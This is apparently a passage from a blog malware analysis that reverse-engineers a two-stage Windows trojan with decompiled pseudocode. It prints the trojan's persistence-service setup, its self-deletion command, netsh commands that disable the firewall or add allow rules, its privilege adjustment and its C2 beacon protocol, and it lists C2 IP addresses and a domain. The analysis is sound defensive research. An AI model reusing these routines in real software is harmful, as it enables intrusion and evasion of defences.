  int v11; // [esp+18h] [ebp-18h]
  int v12[3]; // [esp+1Ch] [ebp-14h] BYREF
  unsigned int v13; // [esp+28h] [ebp-8h] BYREF
  int v14; // [esp+2Ch] [ebp-4h] BYREF

  dword_40FE80[111] = ((int (__stdcall *)(const wchar_t *, _DWORD, _DWORD, _DWORD, int, _DWORD, _DWORD))kernel32_CreateFileW)(
                        L"/////PCI#VEN_25AF&DEV_0209&SUBSYS_070455AF&REV_00",
                        0,
                        0,
                        0,
                        3,
                        0,
                        0);
  v2 = a2 == 0;
  v3 = __rdtsc();
  if ( v2 )
  {
    v12[0] = v3 ^ 0x51;
    v12[1] = v3 ^ 0xDEADC08F;
    v12[2] = v3 ^ 0x51 ^ ((int (__stdcall *)(int, int, int, int, int, int, int, int))kernel32_GetCurrentProcessId)(
                           a1,
                           v6,
                           v7[0],
                           v7[1],
                           v8,
                           v9,
                           v10,
                           v11);
    v4 = ((int (__cdecl *)(_DWORD, void *, int *, int, _DWORD, _DWORD, int *, _DWORD))kernel32_DeviceIoControl)(
           0,
           &unk_220000,
           v12,
           12,
           0,
           0,
           &v14,
           0);
  }
  else
  {
    ((void (__stdcall *)(int, int, _DWORD, _DWORD, int, int, int, int))kernel32_GetCurrentProcessId)(
      a1,
      v6,
      v3,
      __ROL4__(v3 ^ 0x83E3E754, 11),
      v8,
      v9,
      v10,
      v11);
    v4 = ((int (__cdecl *)(_DWORD, void *, int *, int, _DWORD, _DWORD, int *, _DWORD))kernel32_DeviceIoControl)(
           0,
           &unk_220040,
           v7,
           24,
           0,
           0,
           &v14,
           (a2 ^ v7[0]) + __CFADD__(HIDWORD(a2), v7[0]));
  }
  if ( v4
    && ((int (__stdcall *)(_DWORD, void *, _DWORD, _DWORD, unsigned int *, int, int *, _DWORD))kernel32_DeviceIoControl)(
         0,
         &unk_220014,
         0,
         0,
         &v13,
         4,
         &v14,
         0)
    && v14 == 4 )
  {
    return v13 < 0x18 ? -2 : 1;
  }
  ((void (__stdcall *)(_DWORD))kernel32_CloseHandle)(0);
  result = -1;
  dword_40FE80[111] = -1;
  return result;
}

This program seems to disguise itself as if it’s communicating with a PCI device

It tries to open a stealthy kernel mode device and performs an obfuscated handshake using CPU timing and the current process ID via DeviceIoControl, then queries the device for a capability/version value and returns whether a compatible driver is present

But if the matching kernel driver is plugged in, it can do very dangerous things.

So this malware has rootkit capabilities if an appropriate driver is installed in the device

Then we move on the next part which is

kernel32_OpenEventW check
#

image

That code is checking for the existence of a named Windows event object with one of two possible names:

Global/NitrGB

Local/NitrGB

Global/ → visible across all sessions (services, SYSTEM, other users)

Local/ → visible only in the current logon session

It checks these two to see if another instance is already running, and only executes its main logic if neither event exists, enforcing single‑instance or coordinated execution.

Then we come to what is the most important functino in the entireity of the binary, which contains the crux of this binary which is launching our service

sub_00405D81 AKA Imp_func()
#

image

it calls two string decryptions the first one decrypts syshost.exe The next one decrypts syshost32

syshost.exe is what is going to be placed under C:/Windows/Installer/{}

image

It firstly gets our module name and gets the windows directory and checks if they’re in the same directory, and if they are then it means the program that is being run is the service, and not the first stage of the malware, but in our case it doesn’t match, so it doesn’t enter that part of the code, and it checks the filenames

In our case it doesn’t match, so then it goes onto check if it is running from Local/Appdata

image

In our case it’s not, so it just simple goes onto check if the user is Admin

If it is an Admin, then it generates PRNG,

image

image

And formats it like so UTF-16LE", '%s%0.8X-%0.4X-%0.4X-%0.4X-%0.8X%0.4X}/'

image

And then it creates directory, combines syshost.exe to the PRNG and then copies the file onto there

Create Service
#

Then inside the same function

image

It accesses OpenSCManagerW and

image

CreatesService

with the command "C:/Windows/Installer/{6F5DC3CF-4BBE-665D-02D8-A422-E2C07EAA}/syshost.exe" /service

That there concludes the major purpose of the First Stage of the Malware

SO then we finally get to the very last function inside this binary that is being executed, which is,

sub_4077B9 AKA Cleanup_nec.exe
#

// write access to const memory has been detected, the output may be wrong!
// bad sp value at call has been detected, the output may be wrong!
void __cdecl __noreturn sub_4077B9(int a1, int a2)
{
  char v2; // al
  int v3; // eax
  char *v4; // edi
  char v5[520]; // [esp+Ch] [ebp-618h] BYREF
  char v6[520]; // [esp+214h] [ebp-410h] BYREF
  char v7[520]; // [esp+41Ch] [ebp-208h] BYREF

  if ( WideCharToMultiByte )
  {
    ((void (__stdcall *)(int (__stdcall *)(UINT, DWORD, LPCWCH, int, LPSTR, int, LPCCH, LPBOOL)))advapi32_RegCloseKey)(WideCharToMultiByte);
    WideCharToMultiByte = 0;
  }
  v2 = ((int (*)(void))kernel32_GetCurrentThreadId)();
  sub_401546(v2);
  sub_401526();
  if ( ((int (__stdcall *)(_DWORD, char *, int))kernel32_GetModuleFileNameW)(0, v7, 260) )
  {
    ((void (__stdcall *)(char *, int))kernel32_SetFileAttributesW)(v7, 128);
    if ( ((int (__stdcall *)(int, char *))kernel32_GetTempPathW)(260, v5) )
    {
      v3 = sub_4071AE();
      str_join((int)v6, 260, 0x40E34C, v5, v3);
      v4 = v6;
      if ( !((int (__stdcall *)(char *, char *, int))kernel32_MoveFileExW)(v7, v6, 8) )
        v4 = v7;
      ((void (__stdcall *)(char *, _DWORD, int))kernel32_MoveFileExW)(v4, 0, 4);
      if ( !a1 )
        sub_4076FE(4252440, 0, (char)v4);
      if ( a2 )
      {
        ((void (__stdcall *)(int, int))user32_ExitWindowsEx)(22, -2147352576);
        ((void (__stdcall *)(int, _DWORD))user32_ExitWindowsEx)(20, 0);
      }
    }
  }
  ((void (__cdecl *)(_DWORD))kernel32_ExitProcess)(0);
  JUMPOUT(0x4078B3);
}

Now this function, first tries to remove any hooks associated to WideCharToMultiByte

Then it takes our FileName and SetFileAttributes as 128, which is

image

So then it basically intentionally normalizes the file, so that the file isnt hidden or anything, which might cause windows to refuse to move or delete it

Then it get’s the temp path

and joins it with a prng filename which is generated here

PRNG filename
#

image
and these are joined next

image

and the file is moved to such a location

C:/Users/Ryuzaki/AppData/Local/Temp/634a3957.tmp

image

Which as we can see is the exact same file

Then finally before closing it all up we enter another function

sub_4076FE aka cmdline_delete
#

Which deletes the file by using CreaetProcessW and running the command 'cmd.exe /C del /Q /F "%s"

2nd Stage - syshost.exe
#

Now the second stage of this malware involves all the same debugging as above, but only until the point we get to the part in Imp_Func() where we compare names, because in this case, we have the same binary as the one inside Windows/Installer folder, so then it slightly diverges from that point onwards which is what we’ll be looking into

So starting with imp func,

2nd stage sub_00405D81 AKA Imp_Functon()
#

Inside our Imp_Function, as expected the binary name check passes, and thus we end up taking a new control branch here, which is

Here it takes two paths,

image

  1. if it’s launched by /service, then it takes the above path, where it get’s its own service dispatcher routine, Inside which we have
// write access to const memory has been detected, the output may be wrong!
int __stdcall sub_4061BB(int a1, _DWORD *a2)
{
  int result; // eax
  int v3; // esi
  int v4; // [esp-Ch] [ebp-14h]
  int v5; // [esp-8h] [ebp-10h]
  int v6; // [esp-4h] [ebp-Ch]

  result = ((int (__stdcall *)(_DWORD, int (__stdcall *)(int)))advapi32_RegisterServiceCtrlHandlerW)(*a2, sub_405D6D);
  v3 = result;
  unk_410CA0 = result;
  if ( unk_410CA0 )
  {
    unk_410B04 = 16;
    unk_410B08 = 4;
    ((void (__cdecl *)(int, int, _DWORD))loc_4021B8)(0x410B20, 64, *a2);
    ((void (__stdcall *)(int, int, int, int, int))advapi32_SetServiceStatus)(v3, 0x410B04, v4, v5, v6);
    result = Service_logic();
    if ( !result )
    {
      unk_410B08 = 1;
      return ((int (__stdcall *)(_DWORD, int))advapi32_SetServiceStatus)(unk_410CA0, 0x410B04);
    }
  }
  return result;
}

Which essentially just sets up the service environment and then calls Service_logic() which is where our main persistence exists

Calling with /service just looks cleaner because Service mode exists to:

  • survive reboots
  • run as SYSTEM
  • look legitimate

But the core behavior must also run outside SCM, otherwise:

  • install would fail
  • testing would be harder
  • fallback execution wouldn’t work

So because of that we’re going the second route, which checks if it was launched with “/sn:”, but if it is not

image

Then it still, would enter service logic

Service Logic
#

Inside service logic it seems to take up two paths, depending on if it’s a wow64 process or now

In our case it took the constants

image

Which then went into a function that returned zero, and then it went onto create

image

Two events

Both of the events are Windows event objects with custom security descriptors that grants full access to Everyone, allowing any process or user to open and signal it, this is mainly used in our case enforce a single running instance. So that when we run syshost another time while an instance is already running, it would close down, that is the reason we say OpenEventW being called earlier on Global/NitrGB and Local/NitrGB

Then,

image

By setting error mode it supresses system error dialogs then installs a custom error handling exception handler

sub_4059A2 AKA Custom Handler
#


int __stdcall custom_handler(int a1)
{
  int v1; // eax
  int v3[6]; // [esp+Ch] [ebp-18h] BYREF
  int v4; // [esp+2Ch] [ebp+8h]

  v3[0] = 0;
  v3[1] = 0;
  v3[2] = ((int (*)(void))kernel32_GetCurrentThreadId)();
  v3[3] = a1;
  v3[4] = 0;
  v3[5] = 0;
  v1 = ((int (__stdcall *)(_DWORD, _DWORD, int (__stdcall *)(int), int *, _DWORD, _DWORD))kernel32_CreateThread)(
         0,
         0,
         sub_405862,
         v3,
         0,
         0);
  v4 = v1;
  if ( v1 )
  {
    ((void (__stdcall *)(int, int))kernel32_WaitForSingleObject)(v1, 60000);
    ((void (__stdcall *)(int))kernel32_CloseHandle)(v4);
  }
  sub_4078B4();
  return 1;
}

suppresses crash dialogs by spawning a dedicated cleanup thread, waiting briefly for it to complete, performing final teardown actions, and then signaling to Windows that the exception was handled, allowing the malware to fail silently or recover without alerting the user

sub_405862 aka Crash Handler Thread
#

This function handles all the crashes so that the malware keeps on running instead of crashing and failing

This was properly engineering by the malware author

sub_40B348 AKA get_config_dword
#

image

This looks up a DWORD value from an internal encrypted table using two constants as keys and a variant selector, returning the retrieved value if present and valid or a caller‑supplied default otherwise.

sub_405A39 AKA Modify_Firewall
#

This checks if we are admin and if we are, then it creates thread at sub_405A39 which modifies the firewall behaviour

image

int __stdcall Modify_Firewall(int a1)
{
  char v2[520]; // [esp+4h] [ebp-52Ch] BYREF
  char v3[520]; // [esp+20Ch] [ebp-324h] BYREF
  int v4; // [esp+414h] [ebp-11Ch] BYREF
  unsigned int v5; // [esp+418h] [ebp-118h] BYREF
  int v6; // [esp+41Ch] [ebp-114h]
  unsigned __int16 v7; // [esp+528h] [ebp-8h]

  v4 = 284;
  sub_40C5AE(&v5, 0, 280);
  unk_40D1A0(&v4);
  if ( v5 >= 5
    && (v5 != 5 || v6 && (v6 != 1 || v7 >= 2u) && (v6 != 2 || v7))
    && unk_40D0D4(v3, 260)
    && sub_40B38D(0xC74C2952, 0x15D30EBA, (int)v2, 260, 2) )
  {
    if ( v5 < 6 )
    {
      sub_4076FE(L"/"%s//netsh.exe/" firewall set opmode mode=DISABLE profile=ALL", 0, v3);
    }
    else
    {
      if ( sub_4076FE(
             L"/"%s//netsh.exe/" advfirewall firewall set rule name=/"%s/" dir=%s new action=allow enable=yes profile=any",
             60000,
             v3,
             v2,
             4251228) )
      {
        sub_4076FE(
          L"/"%s//netsh.exe/" advfirewall firewall add rule name=/"%s/" dir=%s action=allow enable=yes profile=any",
          0,
          v3,
          v2,
          4251228);
      }
      if ( sub_4076FE(
             L"/"%s//netsh.exe/" advfirewall firewall set rule name=/"%s/" dir=%s new action=allow enable=yes profile=any",
             60000,
             v3,
             v2,
             4250816) )
      {
        sub_4076FE(
          L"/"%s//netsh.exe/" advfirewall firewall add rule name=/"%s/" dir=%s action=allow enable=yes profile=any",
          0,
          v3,
          v2,
          4250816);
      }
    }
  }
  return 0;
}

sub_407331 AKA Escalate_Priv
#

image

int __cdecl sub_407331(int a1)
{
  int v1; // esi
  int v2; // eax
  int v4; // [esp+8h] [ebp-14h] BYREF
  char v5[8]; // [esp+Ch] [ebp-10h] BYREF
  int v6; // [esp+14h] [ebp-8h]
  int v7; // [esp+18h] [ebp-4h] BYREF

  v1 = 0;
  v2 = ((int (__stdcall *)(int, int *))kernel32_GetCurrentProcess)(32, &v7);
  if ( ((int (__stdcall *)(int))advapi32_OpenProcessToken)(v2) )
  {
    v1 = 1;
    v4 = 1;
    v6 = 2;
    if ( !((int (__stdcall *)(_DWORD, int, char *))advapi32_LookupPrivilegeValueW)(0, a1, v5)
      || !((int (__stdcall *)(int, _DWORD, int *, _DWORD, _DWORD, _DWORD))advapi32_AdjustTokenPrivileges)(
            v7,
            0,
            &v4,
            0,
            0,
            0)
      || unk_40D1D4() )
    {
      v1 = 0;
    }
    ((void (__stdcall *)(int))kernel32_CloseHandle)(v7);
  }
  return v1;
}

This escalates the privileges

SeAssignPrimaryTokenPrivilege → allows creating a process with a different primary token (used in process impersonation / service token hijacking)

SeIncreaseQuotaPrivilege → allows increasing memory limits of processes (needed for some payloads / large memory operations)

SeShutdownPrivilege → allows shutting down the system (less common in malware, sometimes just for disruption)

So now the privlege of the malware has been escalated accordinly

Next,

ws2_32_WSAStartup
#

sub_40A1DE AKA Internet_Init()
#

// write access to const memory has been detected, the output may be wrong!
int Internet_Init()
{
  int v0; // eax
  int v2; // [esp+4h] [ebp-8h] BYREF
  int v3; // [esp+8h] [ebp-4h] BYREF

  ((void (__stdcall *)(void *))ntdll_RtlInitializeCriticalSection)(&unk_41195C);
  v0 = ((int (__stdcall *)(_DWORD, int, _DWORD, _DWORD, _DWORD))wininet_InternetOpenW)(0, 1, 0, 0, 0);
  dword_411974 = v0;
  if ( v0 )
  {
    v3 = 30000;
    ((void (__stdcall *)(int, int, int *, int))wininet_InternetSetOptionW)(v0, 6, &v3, 4);
    ((void (__stdcall *)(_DWORD, int, int *, int))wininet_InternetSetOptionW)(0, 5, &v3, 4);
    v2 = 2048;
    ((void (__stdcall *)(_DWORD, int, int *, int))wininet_InternetSetOptionW)(0, 73, &v2, 4);
    ((void (__stdcall *)(_DWORD, int, int *, int))wininet_InternetSetOptionW)(0, 74, &v2, 4);
    if ( ((int (__stdcall *)(int *, _DWORD, _DWORD, int, int))advapi32_CryptAcquireContextW)(
           &dword_41197C,
           0,
           0,
           1,
           -268435456) )
    {
      sub_40A019();
      ((void (__stdcall *)(_DWORD, _DWORD))advapi32_CryptReleaseContext)(0, 0);
      ((void (__stdcall *)(_DWORD))wininet_InternetCloseHandle)(0);
      dword_41197C = 0;
    }
    else
    {
      ((void (__stdcall *)(_DWORD))wininet_InternetCloseHandle)(0);
    }
    dword_411974 = 0;
  }
  return 0;
}

sub_40A1DE() is doing network + crypto subsystem initialization. It sets up WinINet, configures timeouts/buffers, initializes a critical section, acquires a CryptoAPI context, runs an internal initializer, then cleans up.

Timeout configuration v3 = 30000; // 30 seconds InternetSetOption(h, 6, &v3, 4); // receive timeout InternetSetOption(0, 5, &v3, 4); // connect timeout

Buffer size tuning v2 = 2048; InternetSetOption(0, 73, &v2, 4); InternetSetOption(0, 74, &v2, 4);

sub_40A019 AKA Crypt_B
#

  • Enters a global critical section to protect shared crypto/network state
  • Looks up an embedded data blob using two hard‑coded constants (acts like an ID or hash)
  • Retrieves the size of the blob
  • Verifies the blob is large enough and matches an expected key‑blob format
  • Checks that the blob represents an RSA key (key exchange or signing)
  • Imports the RSA key into Windows CryptoAPI using CryptImportKey
  • Stores the resulting key handle globally for later use
  • Extracts and stores key parameters (e.g., key length, flags) from the blob
  • Leaves the critical section

sub_401A70 AKA Address_Resolver
#

image

  • Dynamically reconstructs hard‑coded IP addresses
  • Avoids storing IPs in plaintext
  • Selects a usable C2 / endpoint address
  • Stores it globally for later network communication

dword_40FE80 is the array in which it is getting stored

The resolved IPs at this stage are :

178.32.31.41
95.211.195.245
94.231.81.244
91.213.8.35
151.236.6.6
119.252.20.75
198.100.146.51
192.121.170.170
78.47.34.12
108.61.210.58
109.69.8.34
87.98.175.85
106.186.17.181
107.170.95.180

And then this is not visible in pseudocode but the ips are then shuffled around to give

image

2308D55Bh   → 91.213.8.35
3AD23D6Ch   → 108.61.210.58
0AAAA79C0h  → 192.121.170.170
0C222F4Eh  → 78.47.34.12
2208456Dh  → 109.69.8.34
606EC97h   → 151.236.6.6
0B511BA6Ah → 106.186.17.181
0F451E75Eh → 94.231.81.244
339264C6h  → 198.100.146.51
55AF6257h  → 87.98.175.85
0B45FAA6Bh → 107.170.95.180
4B14FC77h  → 119.252.20.75
291F20B2h  → 178.32.31.41

sub_406F42 AKA Dynamic_API_resolve
#

Inside this, it resolves ZwQueryInformationProcess and ZwUnmapViewOfSection

sub_401D38 AKA Crypto_Api_Init()
#

sub_401D38() initializes the CryptoAPI and prepares per‑run cryptographic state. If this fails, the malware likely disables encryption‑dependent features (like secure C2).

sub_40881A AKA SusCreaeteThread
#

Calls a Create Thread onto a procedure, that creates a thread on a sub function

sub_00408309 AKA Supervisor_Thread
#

void __noreturn Super_visor_Thread()
{
  int *v0; // ebx
  int v1; // eax
  int v2; // eax
  int v3; // [esp+Ch] [ebp-8h] BYREF
  unsigned int i; // [esp+10h] [ebp-4h]

  while ( 1 )
  {
    ((void (__stdcall *)(int *))ntdll_RtlEnterCriticalSection)(dword_4115D0);
    for ( i = 0; GetModuleHandleW && i < (unsigned int)GetModuleHandleW; ++i )
    {
      v0 = (int *)(4 * i + 0x4114D0);
      v1 = dword_4114D0[i];
      if ( *(_DWORD *)v1
        && (*(_BYTE *)(v1 + 49) & 1) != 0
        && ((int (__stdcall *)(_DWORD, int *))kernel32_GetExitCodeProcess)(*(_DWORD *)v1, &v3)
        && v3 != 259 )
      {
        sub_40AC33(v0, dword_4115D0, *(_DWORD *)(*v0 + 14), *(_DWORD *)(*v0 + 18), 0, 4253020, v3);
        sub_408279(0);
        if ( !sub_408102() )
        {
          sub_4082D0();
          --i;
        }
      }
    }
    ((void (__stdcall *)(int *))ntdll_RtlLeaveCriticalSection)(dword_4115D0);
    v2 = sub_4071F3(5000, 10000);
    ((void (__stdcall *)(int))kernel32_Sleep)(v2);
  }
}

This thread acts as a process watchdog and recovery manager.

  • It is an infinite loop (__noreturn)
  • Designed to stay alive for the lifetime of the service
  • Uses a critical section (unk_4115D0) to safely access global process data
  • Iterates over an internal table (dword_4114D0)
  • Each entry represents a process the malware previously launched
  • Detects process termination
  • Calls GetExitCodeProcess
  • Treats anything other than STILL_ACTIVE (259) as a dead process
  • Handles process death
  • Logs or reports the termination (sub_40AC33)
  • Cleans up internal state (sub_408279)
  • Optionally respawns or reinitializes components (sub_4082D0, sub_408102)
  • Adjusts the loop index to re-evaluate updated entries
  • Prevents busy looping
  • Sleeps for a randomized interval (5–10 seconds) between scans

When we run this thread, we notice another thread is spawned at the routine

sub_409562 AKA network dispatcher
#

It runs a network event loop that:

  • Monitors two sockets
  • Receives UDP control packets
  • Accepts TCP connections
  • Spawns worker threads to handle each TCP client

It sets up socket monitoring by

v15[0] = 1068;   UDP Socket
v15[1] = 1048;   TCP Socket

Maintains a periodic Heartbeat (typical of beacons)

f (GetTickCount() - last_tick >= 5000)
{
  sub_409287();
}

UDP packet handling (control channel) recvfrom(1068, ...)

TCP connection handling (command sessions) accept(1048) QueueUserWorkItem(UserWorkItem, socket)

Each worker thread:

  • Handles one TCP client
  • Receives framed, encrypted commands
  • Verifies signatures
  • Executes allowed commands
  • Disconnects after ~6 messages
Service Logic
   |
   +-- Supervisor Thread (process watchdog)
   |
   +-- Network Thread (sub_409562)
           |
           +-- UDP control packets
           |
           +-- TCP accept()
                  |
                  +-- UserWorkItem (client handler)
                  +-- UserWorkItem (client handler)
                  +-- ...

sub_409287 AKA Heartbeat
#

Now when we go ahead and follow down the function, this function runs every 5 seconds

// write access to const memory has been detected, the output may be wrong!
int sub_409287()
{
  __int16 v0; // ax
  __int64 session_id; // [esp+8h] [ebp-2Ch] BYREF
  int v3; // [esp+10h] [ebp-24h]
  int v4; // [esp+14h] [ebp-20h]
  char state_flag; // [esp+18h] [ebp-1Ch]
  __int16 v6; // [esp+1Ch] [ebp-18h] BYREF
  __int16 PORT; // [esp+1Eh] [ebp-16h]
  int IP_addr; // [esp+20h] [ebp-14h]
  __int16 PORT_6; // [esp+24h] [ebp-10h]
  int v10; // [esp+26h] [ebp-Eh]
  __int16 v11; // [esp+2Ah] [ebp-Ah]
  int v12; // [esp+30h] [ebp-4h]

  ((void (__stdcall *)(void *))ntdll_RtlEnterCriticalSection)(&unk_411610);
  v6 = 2;
  PORT_6 = 0;
  v10 = 0;
  v11 = 0;
  IP_addr = *(int *)((char *)&dword_BE5D4C + 2);
  v0 = ((int (__stdcall *)(_DWORD))ws2_32_htons)(unk_BE5D52);
  dword_411628 = 6;
  PORT = v0;
  if ( IP_addr && PORT && PORT != (unsigned __int16)((int (__stdcall *)(int))ws2_32_htons)(0x4AD4) )
  {
    session_id = sub_40BA9A();
    v3 = 0;
    v12 = 0;
    v4 = 0;
    state_flag = 4 * (sub_40BAF1() & 1);
    if ( sub_4071F3(0, 4) )                     // choose_packet_format
      Encrypt_and_send(896, &v6, &session_id, 17);
    else
      sub_408F75(&v6, 0, &session_id, 17);
  }
  return ((int (__stdcall *)(void *))ntdll_RtlLeaveCriticalSection)(&unk_411610);
}

Inside this function, we see IP and port getting resolved, the IP and port numbrs match the IP and port numbers being sent out that we can see in wireshark/procmon

This periodically sends an encrypted heartbeat/status packet over UDP to the configured C2 server to signal liveness and session state.

sub_408DDF AKA UDP/TCP send
#

sub_408DDF builds a custom protocol packet (header + payload + MAC) and sends it over UDP or TCP for heartbeats and command traffic.

Fill protocol header
#

a) Session / sequence ID *(_DWORD *)v8 = sub_4071AE();

Opcode + payload length *((_DWORD *)v8 + 2) = (payload_len « 4) | (opcode & 0xF);

Copy payload memcpy(v8 + 12, payload_ptr, payload_len);

Meaning:

bits 31..4 = payload length bits 3..0 = opcode

Compute integrity check (MAC / checksum)
#

*((_DWORD *)v8 + 1) = sub_408ABC(v8 + 8, packet_len - 8, session + 78269159);

Send the packet
#

UDP path

sendto(socket, buffer, len, 0, sockaddr, 16);

TCP path

send(socket, buffer, len, 0);

Packet layout

+------------------------------+
| Session ID / Nonce (4 bytes) |  <-- sub_4071AE()
+------------------------------+
| Integrity Check (4 bytes)    |  <-- sub_408ABC()
+------------------------------+
| Len<<4 | Type (4 bytes)      |  <-- (16 * payload_len) | opcode
+------------------------------+
|                              |
|        Payload bytes         |  <-- data being passed
|                              |
+------------------------------+

C2 IP
#

While debugging I came across “npkxghmoru.biz”

which when googled revealed it was a C2 Ip associated with this trojan

and purely taking the IP also shows, that we can correlate it with the ProcMon Output

169.142.32.162 - npkxghmoru.biz

image

And we can see the same being referenced by InternetCrackUrlW as well

Thereby confirming it is the C2 for our malware.

Conclusion
#

The binary exhibits the following capabilities,

Execution:

  • Process Injection (in-memory execution of decrypted payload)
  • Reflective Code Loading

Persistence:

  • Create or Modify System Process: Windows Service

Privilege Escalation / Defense Evasion:

  • Impair Defenses (user-mode hook detection)
  • Debugger Evasion
  • Virtualization / Sandbox Evasion

Discovery:

  • System Information Discovery

Impact / Stealth:

  • Indicator Removal on Host (self-deletion)

Command and Control

  • Web Service: Bidirectional Communication
  • Leverages legitimate third-party web services (e.g., cloud or platform APIs) to exchange commands and exfiltrate data.

Related

Telegram C2 InfoStealer
·5021 words·24 mins
Reversing Malware Malware Analysis Reverse Engineering
RemcosRat Dropper Stage
·1482 words·7 mins
Reversing Malware Malware Analysis Reverse Engineering Remcos RAT
Rust Ransomware Analysis
·4068 words·20 mins
Reversing Bi0sCTF RansomWare Reversing Forensics Writeup